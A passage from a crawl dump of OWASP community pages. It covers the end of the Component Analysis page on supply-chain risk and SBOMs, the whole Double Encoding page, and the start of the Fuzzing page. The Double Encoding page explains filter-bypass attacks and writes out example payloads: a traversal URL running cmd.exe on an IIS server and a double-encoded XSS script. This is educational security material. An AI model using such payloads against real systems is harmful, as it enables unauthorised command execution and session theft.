"Component Identification"}, {"uroven": 2, "text": "Software Verification"}, {"uroven": 2, "text": "Open Source Policy"}, {"uroven": 2, "text": "Recommendations"}, {"uroven": 2, "text": "Tools Listing"}, {"uroven": 2, "text": "References"}], "markdown": "# Component Analysis\n\n**Author:** Steve Springett\n\nModern software is assembled using third-party and open source components, glued together in complex and unique ways, \nand integrated with original code to provide the desired functionality. Third-party (including commercially licensed,\nproprietary, and “source available” software) along with open source components provide the necessary building blocks \nthat allow organizations to deliver value, improve quality, reduce risk and time-to-market. The benefits of open source \nare many. However, by using open source components, organizations ultimately take responsibility for code they did not \nwrite. Strategic alliances between organizations and open source projects can lead to healthy open source usage and \noverall risk reduction.\n\nComponent Analysis is the process of identifying potential areas of risk from the use of third-party and open-source \nsoftware and hardware components. Component Analysis is a function within an overall [Cyber Supply Chain Risk\nManagement](https://csrc.nist.gov/projects/supply-chain-risk-management) (C-SCRM) framework. A software-only subset of \nComponent Analysis with limited scope is commonly referred to as Software Composition Analysis (SCA).\n\nAny component that has the potential to adversely impact cyber supply-chain risk is a candidate for Component Analysis.\n\n## Common Risk Factors\n\n#### Component Inventory\n\nHaving an accurate inventory of all third-party and open source components is pivotal for risk identification. Without \nsuch knowledge, other factors of Component Analysis become impractical to determine with high confidence. Use of \ndependency management solutions and/or Software Bill of Materials (SBOM) can aid in\ninventory creation.\n\n#### Component Age\n\nComponents may have varying degrees of age acceptance criteria. Factors that impact acceptable age include the type of\ncomponent, the ecosystem the component is a part of (Maven, NPM, etc), and the purpose of the \ncomponent. The age of a component may signify use of outdated technology and may have a higher probability of being \npassed over by security researchers.\n\n#### Outdated Components\n\nNewer versions of components may improve quality or performance. These improvements can be inherited by the applications \nthat have a dependency on them. Components that are end-of-life (EOL) or end-of-support (EOS) also impact risk. Two \ncommon approaches to community supported open-source is:\n\n- Support the latest revision of the last (x) releases - (i.e. 4.3.6 and 4.2.9)\n- Support only the latest published version (i.e. 4.3.6 today and 4.4.0 tomorrow)\n\nDepending on the risk appetite, it may be strategic to only use third-party and open source components that are supported.\n\nWith reference to [Semantic Versioning](https://semver.org/) terminology, API changes can be expected between major \nversions of a component, but are rare between minor versions and patches. Changes in a components API may result in \nlonger remediation times if the components have not been continuously updated. Keeping components up-to-date can\nreduce remediation time when a rapid response is warranted.\n\nOutdated version identification may leverage ecosystem-specific repositories and is achievable through the use of \ndependency managers or Package URL. Component analysis can identify outdated components as \nwell as provide information about newer versions.\n\n#### Known Vulnerabilities\n\nHistorically, known vulnerabilities referred to entries (CVEs) in the \n[National Vulnerability Database](https://nvd.nist.gov/) (NVD). The NVD describes (via [CPE](https://nvd.nist.gov/products/cpe)) \nthree types of components:\n\n- Applications (includes libraries and frameworks)\n- Operating Systems\n- Hardware\n\nWhile the NVD may be the most recognizable source of vulnerability intelligence, it’s not the only. There are multiple \npublic and commercial sources of vulnerability intelligence. Having a *known* vulnerability doesn’t require the \nvulnerability information be present in one of these sources. Simply being documented (i.e. social media post, defect \ntracker, commit log, release notes, etc) classifies the vulnerability as being *known*.\n\nComponent analysis will commonly identify known vulnerabilities from multiple sources of vulnerability intelligence.\n\n#### Component Type\n\nFrameworks and libraries have unique upgrade challenges and associated risk. Abstractions, coupling, and architectural \ndesign patterns may affect the risk of using a given component type. For example, logging libraries may be embedded \nthroughout a large application, but replacing implementations can likely be automated. Likewise, replacing a web \napplication framework for an alternative framework would likely be a high-risk endeavor leading to architectural changes, \nregressions, and code rewrites. Evaluating the type should be part of every Component Analysis strategy.\n\n#### Component Function\n\nIdentifying and analyzing the purpose of each component may reveal the existence of components with duplicate or similar \nfunctionality. For example, it’s unlikely an application would need multiple XML parsers or cryptographic providers. \nPotential risk can be reduced by minimizing the number of components for each function and by choosing the highest\nquality components for each function. Evaluating component function should be part of every Component Analysis strategy.\n\n#### Component Quantity\n\nThe number of third-party and open source components in a project should be evaluated. The operational and maintenance \ncost of using open source will increase with the adoption of every new component. The impact can be significantly higher \nwith micro-module ecosystems when there are hundreds or thousands of applications in a given environment. In addition to \nincreased operational and maintenance cost, a decrease in a development teams ability to maintain growing sets of \ncomponents over time can be expected. This is especially true for teams with time-boxed constraints.\n\n#### Repository Trust\n\nComponents in many software ecosystems are published and distributed to central repositories. Repositories have known \nthreats. Some of the threats against public repositories include:\n\n- Typosquatting - naming a component in such as way as to take advantage of common misspelling.\n- Organization/Group abuse - pretending to be a public person or entity and abusing the perceived trust. This includes\ndependency confusion and namespace confusion.\n- Malware through transfer - leveraging weak or absent code-signing requirements to spread malware through the \ntransfer of an open source project from one maintainer to another.\n- Cross Build Injection (XBI) - Abusing dependency resolution schemes and weak infrastructure controls to inject \nmalicious components in place of safe ones.\n\nPublic repositories that have code-signing and verification requirements have some level of trust, whereas public \nrepositories without basic countermeasures do not. For no-trust or low-trust repositories, utilizing private \nrepositories may be advantageous. Private repositories refer to repositories where access is limited, usually software \nthat organizations install and control, or a commercially available service. *Golden repositories* containing vetted or \npermitted components are a common use-case for private repositories. Private repository services focusing on security \nmay additionally provide anti-malware analysis and static source code analysis requirements prior to acceptance in the\nrepository. When leveraging private repositories, it is important to have traceability to the components’ provenance.\n\n#### Provenance\n\nA component’s provenance refers to the traceability of all authorship, build, release, packaging, and distribution \nacross the entire supply chain. In physical supply chains this is referred to as the *chain of custody*. Provenance may \ninclude individual and community authorship of software components, manufacturers, suppliers, software repositories, \nand country of origin. For high assurance applications, provenance plays an important role in determining Foreign \nOwnership, Control, or Influence (FOCI).\n\n#### Pedigree\n\nData which describes the lineage for which software has been created or altered. Pedigree includes the ancestors, \ndescendants, and variants which describe component lineage from any viewpoint and the commits, patches, and diffs which \nmake a component unique. Maintaining accurate pedigree information is especially important with open source components whos \nsource code is readily available, modifiable, and redistributable.\n\n#### Formulation\n\nFormulation describes how components were built often including build system invocation and properties, SDK and compiler\nversions, compiler flags, and a comprehensive list of parallel and sequential steps that were taken to build, test, and \ndeliver a component. Formulation and pedigree are complimentary concepts and are often combined and referred simply\nas pedigree.\n\n#### License\n\nThird-party and open-source software typically has one or more licenses assigned. The chosen license may or may not \nallow certain types of usage, contain distribution requirements or limitations, or require specific actions if the \ncomponent is modified. Component Analysis can identify the license(s) for a given component and may optionally provide\nguidance as to the nature of the license (i.e. copyright, copyleft, OSI approved, etc). Utilizing components with \nlicenses which conflict with an organizations objectives or ability can create serious risk to the business.\n\n#### Inherited Risk\n\nThird-party and open source components often have dependencies on other components. A *transitive dependency* is when \nan application has a direct dependency on a component and that component has a dependency on another component. \nTransitive dependencies are common and are expected in highly modular ecosystems which values reuse over re-invent. \nLike any component, transitive dependencies have their own risk which is inherited by every component and application \nthat relies on them. Components may additionally have specific runtime or environmental dependencies with implementation \ndetails not known or prescribed by the component. Component Analysis can aggregate the risk of all direct, transitive, \nruntime, and environmental dependencies providing a holistic view of inherited risk.\n\nFrom a risk mitigation standpoint, only direct dependencies can be changed in some cases. For example, a `pom.xml` file\ndeclares only on direct dependencies, while lock files, such as `package-lock.json` may be more flexible. \nAny changes to transitive dependencies can potentially break the code that depends on it, and therefore, it would be \nmost impactful to focus on identifying the direct dependency fix.\n\n#### Project Health\n\nThere are many datapoints to consider when evaluating the health of an open source project.\n\n- Quality Controls and Metrics - The overall quality and controls for achieving and maintaining high-quality \ncomponents may be a factor in risk evaluation. For software components, this refers to the use of unit and \nintegration tests, linters and static analysis tools, the percentage of coverage, and results from various tools.\n- Community Engagement - The current and historical trend for a project and its maintainers to accept pull requests, \nanswer defect and enhancement requests, and engage in productive collaboration with the community may be a factor \nin risk evaluation.\n- Vulnerability Analysis - Analyzing current and historical security vulnerabilities for timeline trends and for \nroot-cause patterns may signify a projects ability to protect the community from future (and similar) issues. \nThis activity may be a factor in risk evaluation.\n\n#### External Services\n\nApplications or their direct or transitive components may rely on external services for functionality. Common examples \ninclude convenience libraries around common web services such as mapping, stock quotes, or weather, but may also include\nautogenerated software components built from API specifications such as TUF or OpenAPI. External services should be \nincluded in the overall inventory of components.\n\n## Software Bill of Materials (SBOM)\n\nMultiple efforts between government and industry are attempting to define *Software Transparency*. Some of these efforts \nwill lead to increased compliance or regulatory requirements. Software Transparency is often achieved through the \npublishing of software bill of materials. An SBOM is synonymous to the list of ingredients in a recipe. Both are an\nimplementation of transparency.\n\nThere are multiple SBOM standards including OWASP [CycloneDX](https://cyclonedx.org/) and [SPDX](https://spdx.org/), each \nhaving their own strengths and use-cases they were designed to solve. Evaluating SBOM standards to determine which are \napplicable to an organizations requirements should be part of an overall C-SCRM strategy.\n\n## Component Identification\n\nComponent ecosystems generally devise different terminology and formats for representing components. This self-imposed \nfragmentation makes uniquely identifying and representing components difficult when referring to them outside of their \nrespective ecosystems. Centralized databases such as the [CPE Product Dictionary](https://nvd.nist.gov/products/cpe) \nmaintained by [NIST](https://www.nist.gov/) adds additional fragmentation as the CPE vendor and product names often do \nnot reflect reality.\n\n[SWID](https://www.iso.org/standard/65666.html) tags are an alternative approach to component identity. They have \nhistorically been used to describe commercial software for the purpose of license entitlements and ITOM discovery within\na CMDB system. Software manufactures can create their own SWID tags whenever new versions are released.\n\nGenerally, a component will have a name and version. Components may optionally have a higher-level grouping identifier, \ncommonly referred to as a groupId, organization, or vendor. When referencing components in a C-SCRM framework it is \nimportant to have a standard and uniform way to represent them. The [Package URL](https://github.com/package-url) [specification](https://github.com/package-url/purl-spec) provides a decentralized and uniform way to represent components.\n\n```\n scheme:type/namespace/name@version?qualifiers#subpath\n```\n\nFor example:\n\n```\n pkg:deb/debian/[email protected]?arch=i386&distro=jessie\n pkg:docker/cassandra@sha256:244fd47e07d1004f0aed9c\n pkg:gem/[email protected]?platform=java\n pkg:maven/org.apache.xmlgraphics/[email protected]?packaging=sources\n pkg:npm/%40angular/[email protected]\n pkg:nuget/[email protected]\n pkg:pypi/[email protected]\n pkg:rpm/fedora/[email protected]?arch=i386&distro=fedora-25\n```\n\n## Software Verification\n\nMultiple standards exist for the verification of software components including:\n\n- [OWASP Software Component Verification Standard (SCVS)](https://owasp.org/scvs)\n- [Supply-chain Levels for Software Artifacts (SLSA)](https://slsa.dev/)\n\nBoth standards aim to measure and improve the assurance of the software supply chain.\n\n## Open Source Policy\n\nOpen source policies provide guidance and governance to organizations looking to reduce third-party and open source \nrisk. Policies typically include:\n\n- Restrictions on component age\n- Restrictions on outdated and EOL/EOS components\n- Prohibition of components with known vulnerabilities\n- Restrictions on public repository usage\n- Restrictions on acceptable licenses\n- Component update requirements\n- Deny list of prohibited components and versions\n- Acceptable community contribution guidelines\n\nWhile the open source policy is usually filled with restrictions, it provides an organizations security, development,\nand legal teams an opportunity to create solutions for healthy open source usage.\n\n## Recommendations\n\n- Limit the age of acceptable components to three years or less with exceptions being made for high-value, single \npurpose components that are still relevant\n- Prohibit the use of end-of-life (EOL) components\n- Prohibit the use of components with known vulnerabilities. Update components that are exploitable with high to \nmoderate risk first.\n- Reduce the attack surface by excluding unnecessary direct and transitive dependencies. Focus on providing resolution\nrecommendations on direct dependencies to make it actionalbe for developers.\n- Reduce the number of suppliers and use the highest quality components from those suppliers\n- Standardize on a single component for each component function\n- Establish a maximum level of acceptable risk for public repositories. Utilize private repositories in lieu of \nuntrusted ones.\n- Automate component updates (from trusted repositories only)\n- Provide time-boxed allowances every sprint to maintain component hygiene\n- Establish a allowed list of acceptable licenses, a deny list of prohibited licenses, and seek advice from counsel for \nall other licenses\n- Automate the creation of software bill-of-materials (SBOM) for all deliverables\n- Leverage Package URL for describing components within SBOMs\n- Contractually require SBOMs from vendors and embed their acquisition in the procurement process\n- Automate the analysis of all third-party and open source components during Continuous Integration (CI), either by \nanalyzing the files themselves, or by analyzing a SBOM\n- Import SBOMs into systems capable of tracking, analyzing, and proactively monitoring all components used by every \nasset in an environment (i.e. enterprise wide, entire cloud infrastructure, etc)\n\n## Tools Listing\n\n| Name | Owner | Licence | Platforms |\n| --- | --- | --- | --- |\n| [Aikido Security](https://aikido.dev) | Aikido Security | Commercial / Freemium | Cross Platform / SaaS |\n| [Arnica](https://arnica.io/) | Arnica | Commercial / Freemium | Cross Platform / SaaS |\n| [Black Duck Hub](https://www.blackducksoftware.com/) | Synopsys | Commercial | Cross Platform |\n| [Bytesafe](https://bytesafe.dev/) | Bytesafe | Freemium | SaaS |\n| [Bytesafe Dependency Checker](https://bytesafe.dev/dependency-checker/javascript/) | Bytesafe | Free | SaaS |\n| [CAST Highlight](https://www.castsoftware.com/SCA/) | CAST Software | Commercial | SaaS |\n| [Clarity](https://www.insignary.com/) | Insignary | Commercial | Cross Platform / SaaS |\n| [ClearlyDefined](https://clearlydefined.io/) | Open Source Initiative | Open Source | SaaS |\n| [CloudDefense.AI](https://www.clouddefense.ai/) | CloudDefense.AI | Commercial / Freemium | Cross Platform / SaaS |\n| [CodeSentry](https://www.grammatech.com/codesentry-sca) | GrammaTech | Commercial | Cross Platform / SaaS |\n| [Corgea](https://corgea.com/) | Corgea | / Freemium | Cross Platform / SaaS |\n| [CxSCA](https://www.checkmarx.com/products/software-composition-analysis/) | Checkmarx | Commercial | SaaS |\n| [Debricked](https://debricked.com/) | Debricked | Commercial/Freemium | SaaS |\n| [DejaCode](https://www.nexb.com/) | nexB | Commercial | SaaS |\n| [Dependabot](https://dependabot.com/) | Dependabot | Commercial / Freemium | SaaS |\n| [Dependency-Check](https://owasp.org/www-project-dependency-check/) | OWASP | Open Source | Cross Platform |\n| [Dependency-Track](https://owasp.org/www-project-dependency-track/) | OWASP | Open Source | Cross Platform |\n| [Dependency Track SaaS](https://yoursky.blue/products/dependency-track-saas) | YourSky.blue | Commercial | SaaS |\n| [DepShield](https://depshield.github.io/) | Sonatype | Open Source | Cross Platform / SaaS |\n| [DotNET Retire](https://github.com/RetireNet/dotnet-retire) | Retire.NET Project | Open Source | Cross Platform |\n| [Endor Labs](https://endorlabs.com) | Endor Labs | Commercial | SaaS |\n| [FlexNet Code Insight](https://www.flexera.com/products/software-composition-analysis/flexnet-code-insight.html) | Flexera Commercial | Cross Platform | |\n| [Fluid Attack’s Scanner](https://docs.fluidattacks.com/machine/scanner) | Fluid Attacks | MPL 2.0. | SaaS |\n| [FOSSA](https://fossa.com/) | FOSSA | Commercial / Freemium | SaaS |\n| [FOSSology](https://www.fossology.org/) | Linux Foundation | Open Source | Cross Platform |\n| [GitHub SCA](https://docs.github.com/en/github/visualizing-repository-data-with-graphs/listing-the-packages-that-a-repository-depends-on/) | GitHub | Freemium | SaaS |\n| [Grafeas](https://grafeas.io/) | Grafeas | Open Source | Cross Platform |\n| [Greenkeeper](https://greenkeeper.io/) | Greenkeeper | Open Source | SaaS |\n| [Ion Channel SA](https://ionchannel.io/) | Ion Channel | Commercial | SaaS |\n| [Kusari](https://kusari.dev) | Kusari | Freemium | SaaS |\n| [Libraries.io](https://libraries.io/) | Tidelift | Open Source | SaaS |\n| [MergeBase](http://mergebase.com/) | MergeBase | Commercial | SaaS |\n| [Nexus IQ](https://www.sonatype.com/) | Sonatype | Commercial | Cross Platform |\n| [NPM Audit](https://www.npmjs.com/) | NPM | Open Source | SaaS |\n| [Open Source Lifecycle Management](https://www.whitesourcesoftware.com/) | WhiteSource Software | Commercial | Cross Platform / SaaS |\n| [OSS Index](https://ossindex.sonatype.org/) | Sonatype | Free / Open Source | SaaS |\n| [OSS Review Toolkit](https://github.com/heremaps/oss-review-toolkit) | HERE | Open Source | Cross Platform |\n| [Patton](https://owasp.org/www-project-patton/) | OWASP | Open Source | Cross Platform |\n| [PHP Security Checker](https://github.com/sensiolabs/security-checker) | SensioLabs | Open Source | SaaS |\n| [Plexicus](https://www.plexicus.ai/aspm-application-security-posture-management/) | Plexicus | Commercial / Freemium | SaaS |\n| [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud) | Palo Alto Networks | Commercial | Cross Platform / SaaS |\n| [Protean Labs](https://protean-labs.io/) | Protean Labs | Commercial / Freemium | SaaS |\n| [Renovate](https://renovatebot.com/) | Key Location | Open Source | SaaS |\n| [Retire.js](https://retirejs.github.io/retire.js/) | RetireJS Project | Open Source | Cross Platform |\n| [SBOM Observer](https://sbom.observer/) | Bytesafe | Commercial | SaaS |\n| [Scantist SCA](https://scantist.com/) | Scantist | Freemium | Cross Platform / SaaS |\n| [Snyk](https://snyk.io/) | Snyk | Commercial / Freemium | SaaS |\n| [Software Health Indicator](https://software-health-indicator.com/) | YourSky.blue | Commercial / Freemium | SaaS |\n| [SOOS](https://soos.io/) | SOOS | Commercial / Freemium | SaaS |\n| [Veracode SCA](https://www.veracode.com/products/software-composition-analysis) | Veracode | Commercial | Cross Platform / SaaS |\n| [Vigiles](https://www.timesys.com/security/vigiles-vulnerability-management-patch-monitoring/) | Timesys | Commercial / Freemium | SaaS |\n| [Vigilant Ops InSight](https://vigilant-ops.com/) | Vigilant Ops | Commercial | Cross Platform / SaaS |\n| [Vulert](https://vulert.com/) | Vulert | Commercial / Freemium | Cross Platform / SaaS |\n| [VulnDB](https://vulndb.cyberriskanalytics.com/) | Risk Based Security | Commercial | SaaS |\n| [Xray](https://jfrog.com/xray/) | JFrog | Commercial | Cross Platform |\n| [ZeroPath](https://zeropath.com) | ZeroPath | Commercial / Freemium | Cross Platform / SaaS |\n\n## References\n\n- Cyber Supply Chain Risk Management (C-SCRM)\n - [https://csrc.nist.gov/projects/supply-chain-risk-management](https://csrc.nist.gov/projects/supply-chain-risk-management)\n- Impact of software supply chain practices: Development Waste (Sonatype)\n - [http://stwww-production.herokuapp.com/calculator/](http://stwww-production.herokuapp.com/calculator/)\n- Content of Premarket Submissions for Management of Cybersecurity in Medical Devices (FDA)\n - [https://www.fda.gov/downloads/MedicalDevices/DeviceRegulationandGuidance/GuidanceDocuments/UCM623529.pdf](https://www.fda.gov/downloads/MedicalDevices/DeviceRegulationandGuidance/GuidanceDocuments/UCM623529.pdf)\n- CycloneDX specification\n - [https://cyclonedx.org/](https://cyclonedx.org/)\n- Software Package Data Exchange (SPDX)\n - [https://spdx.org/](https://spdx.org/)\n- SWID (ISO/IEC 19770-2:2015)\n - [https://www.iso.org/standard/65666.html](https://www.iso.org/standard/65666.html)\n- Package URL specification and reference implementations\n - [https://github.com/package-url](https://github.com/package-url)\n- Using Software Bill-of-Materials to drive change and reduce risk\n - [https://medium.com/@steve_springett/using-software-bill-of-materials-to-drive-change-and-reduce-risk-5901b7a339e3](https://medium.com/@steve_springett/using-software-bill-of-materials-to-drive-change-and-reduce-risk-5901b7a339e3)\n- The Unfortunate Reality of Insecure Libraries (Contrast Security)\n - [https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf](https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf)\n- Framework for Software Supply Chain Integrity (SAFECode)\n - [https://safecode.org/wp-content/uploads/2014/06/SAFECode_Supply_Chain0709.pdf](https://safecode.org/wp-content/uploads/2014/06/SAFECode_Supply_Chain0709.pdf)\n- Managing Security Risks Inherent in the Use of Third-party Components (SAFECode)\n - [https://safecode.org/wp-content/uploads/2017/05/SAFECode_TPC_Whitepaper.pdf](https://safecode.org/wp-content/uploads/2017/05/SAFECode_TPC_Whitepaper.pdf)\n- Deliver Uncompromised (MITRE)\n - [https://www.mitre.org/sites/default/files/publications/pr-18-2417-deliver-uncompromised-MITRE-study-26AUG2019.pdf](https://www.mitre.org/sites/default/files/publications/pr-18-2417-deliver-uncompromised-MITRE-study-26AUG2019.pdf)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 24880, "slov": 2976, "odkazu": 102, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 23:47:19", "sha256": "22f59b2b632b3698b6199bf00d84ac8d854c5fb6c0e68caa416fc42058225d80", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://csrc.nist.gov/projects/supply-chain-risk-management", "https://semver.org/", "https://nvd.nist.gov/", "https://nvd.nist.gov/products/cpe", "https://cyclonedx.org/", "https://spdx.org/", "https://www.nist.gov/", "https://www.iso.org/standard/65666.html", "https://github.com/package-url", "https://github.com/package-url/purl-spec", "https://slsa.dev/", "https://aikido.dev/", "https://arnica.io/", "https://www.blackducksoftware.com/", "https://bytesafe.dev/", "https://bytesafe.dev/dependency-checker/javascript/", "https://www.castsoftware.com/SCA/", "https://www.insignary.com/", "https://clearlydefined.io/", "https://www.clouddefense.ai/", "https://www.grammatech.com/codesentry-sca", "https://corgea.com/", "https://www.checkmarx.com/products/software-composition-analysis/", "https://debricked.com/", "https://www.nexb.com/", "https://dependabot.com/", "https://yoursky.blue/products/dependency-track-saas", "https://depshield.github.io/", "https://github.com/RetireNet/dotnet-retire", "https://endorlabs.com/", "https://www.flexera.com/products/software-composition-analysis/flexnet-code-insight.html", "https://docs.fluidattacks.com/machine/scanner", "https://fossa.com/", "https://www.fossology.org/", "https://docs.github.com/en/github/visualizing-repository-data-with-graphs/listing-the-packages-that-a-repository-depends-on/", "https://grafeas.io/", "https://greenkeeper.io/", "https://ionchannel.io/", "https://kusari.dev/", "https://libraries.io/", "http://mergebase.com/", "https://www.sonatype.com/", "https://www.npmjs.com/", "https://www.whitesourcesoftware.com/", "https://ossindex.sonatype.org/", "https://github.com/heremaps/oss-review-toolkit", "https://github.com/sensiolabs/security-checker", "https://www.plexicus.ai/aspm-application-security-posture-management/", "https://www.paloaltonetworks.com/prisma/cloud", "https://protean-labs.io/", "https://renovatebot.com/", "https://retirejs.github.io/retire.js/", "https://sbom.observer/", "https://scantist.com/", "https://snyk.io/", "https://software-health-indicator.com/", "https://soos.io/", "https://www.veracode.com/products/software-composition-analysis", "https://www.timesys.com/security/vigiles-vulnerability-management-patch-monitoring/", "https://vigilant-ops.com/", "https://vulert.com/", "https://vulndb.cyberriskanalytics.com/", "https://jfrog.com/xray/", "https://zeropath.com/", "http://stwww-production.herokuapp.com/calculator/", "https://www.fda.gov/downloads/MedicalDevices/DeviceRegulationandGuidance/GuidanceDocuments/UCM623529.pdf", "https://medium.com/@steve_springett/using-software-bill-of-materials-to-drive-change-and-reduce-risk-5901b7a339e3", "https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf", "https://safecode.org/wp-content/uploads/2014/06/SAFECode_Supply_Chain0709.pdf", "https://safecode.org/wp-content/uploads/2017/05/SAFECode_TPC_Whitepaper.pdf", "https://www.mitre.org/sites/default/files/publications/pr-18-2417-deliver-uncompromised-MITRE-study-26AUG2019.pdf", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/Double_Encoding", "titulek": "Double Encoding | OWASP Foundation", "h1": "Double Encoding", "popis": "Double Encoding on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/Double_Encoding", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Double Encoding on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Double Encoding | OWASP Foundation", "og:url": "https://community.owasp.org/Double_Encoding", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Double Encoding"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 2, "text": "References"}], "markdown": "# Double Encoding\n\n## Description\n\nThis attack technique consists of encoding user request parameters twice in hexadecimal format in order to bypass security controls or cause\nunexpected behavior from the application. It’s possible because the webserver accepts and processes client requests in many encoded forms.\n\nBy using double encoding it’s possible to bypass security filters that only decode user input once. The second decoding process is executed by the backend platform or modules that properly handle encoded data, but don’t have the corresponding security checks in place.\n\nAttackers can inject double encoding in pathnames or query strings to bypass the authentication schema and security filters in use by the web application.\n\nThere are some common characters sets that are used in Web applications attacks. For example, [Path Traversal](/attacks/Path_Traversal)\nattacks use `../` (dot-dot-slash) , while [XSS](/attacks/xss) attacks use `<` and `>` characters. These characters give a hexadecimal representation that differs from normal data.\n\nFor example, `../` (dot-dot-slash) characters represent `%2E%2E%2F` in hexadecimal representation. When the `%` symbol is encoded again, its representation in hexadecimal code is `%25`. The result from the double encoding process `../` (dot-dot-slash) would be `%252E%252E%252F`:\n\n- The hexadecimal encoding of `../` represents `%2E%2E%2F`\n- Then encoding the `%` represents `%25`\n- Double encoding of `../` represents `%252E%252E%252F`\n\n## Examples\n\n### Example 1\n\nThis example presents an old well-known vulnerability found in IIS versions 4.0 and 5.0, where an attacker could bypass an authorization\nschema and gain access to any file on the same drive as the web root directory due to an issue with the decoding mechanism. For more details\nabout folder traversal vulnerability, see [CVE 2001-0333](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0333).\n\nIn this scenario, the victim has a published executable directory (e.g. cgi) that’s stored on the same partition as the Windows system folder. An attacker could execute arbitrary commands on the web server by submitting the following URL:\n\nOriginal URL:\n\n`http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\\`\n\nHowever, the application uses a security check filter that refuses requests containing characters like “../”. By double encoding the URL,\nit’s possible to bypass the security filter:\n\nDouble encoded URL:\n\n`http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\\`\n\n### Example 2\n\nA double encoded URL can be used to perform an XSS attack in order to bypass a built-in XSS detection module. Depending on the implementation, the first decoding process is performed by HTTP protocol and the resultant encoded URL will bypass the XSS filter, since it has no mechanisms to improve detection. A simple example XSS would be:\n\n```\n \n```\n\nThis malicious code could be inserted into a vulnerable application, resulting in an alert window with the message “XSS”. However, the web\napplication can have a character filter which prohibits characters such as `<`, `>` and `/`, since they are used to perform web application attacks. The attacker could use a double encoding technique to bypass the filter and exploit the client’s session. The encoding process for this JavaScript is:\n\n| Char | Hex encode | Then encoding ‘%’ | Double encode |\n| --- | --- | --- | --- |\n| `<` | `%3C` | `%25` | `%253C` |\n| `/` | `%2F` | `%25` | `%252F` |\n| `>` | `%3E` | `%25` | `%253E` |\n\nFinally, the malicious double encoding code is:\n\n`%253Cscript%253Ealert('XSS')%253C%252Fscript%253E`\n\n- [SQL Injection](/attacks/SQL_Injection)\n- [Cross-site Scripting (XSS)](/attacks/xss)\n- [Path Traversal](/attacks/Path_Traversal)\n\n## References\n\n- [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1945](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1945)\n- [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0054](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0054)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 3992, "slov": 536, "odkazu": 29, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:49", "sha256": "708ef800aa492a4dd93d3aa21831461a617c329490ea4ed8440f6115b7876297", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0333", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1945", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0054", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/Fuzzing", "titulek": "Fuzzing | OWASP Foundation", "h1": "Fuzzing", "popis": "Fuzzing on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/Fuzzing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Fuzzing on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Fuzzing | OWASP Foundation", "og:url": "https://community.owasp.org/Fuzzing", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Fuzzing"}, {"uroven": 2, "text": "A trivial example"}, {"uroven": 2, "text": "History"}, {"uroven": 2, "text": "Fuzzer implementations"}, {"uroven": 2, "text": "Comparison with cryptanalysis"}, {"uroven": 2, "text": "Attack types"}, {"uroven": 2, "text": "Application fuzzing"}, {"uroven": 2, "text": "Protocol fuzzing"}, {"uroven": 2, "text": "File format fuzzing"}, {"uroven": 2, "text": "Fuzzers advantages"}, {"uroven": 2, "text": "Fuzzers limitations"}, {"uroven": 2, "text": "Why Fuzz?"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Fuzzing tools"}, {"uroven": 3, "text": "Open Source"}, {"uroven": 4, "text": "Mutational Fuzzers"}, {"uroven": 4, "text": "Fuzzing Frameworks"}, {"uroven": 4, 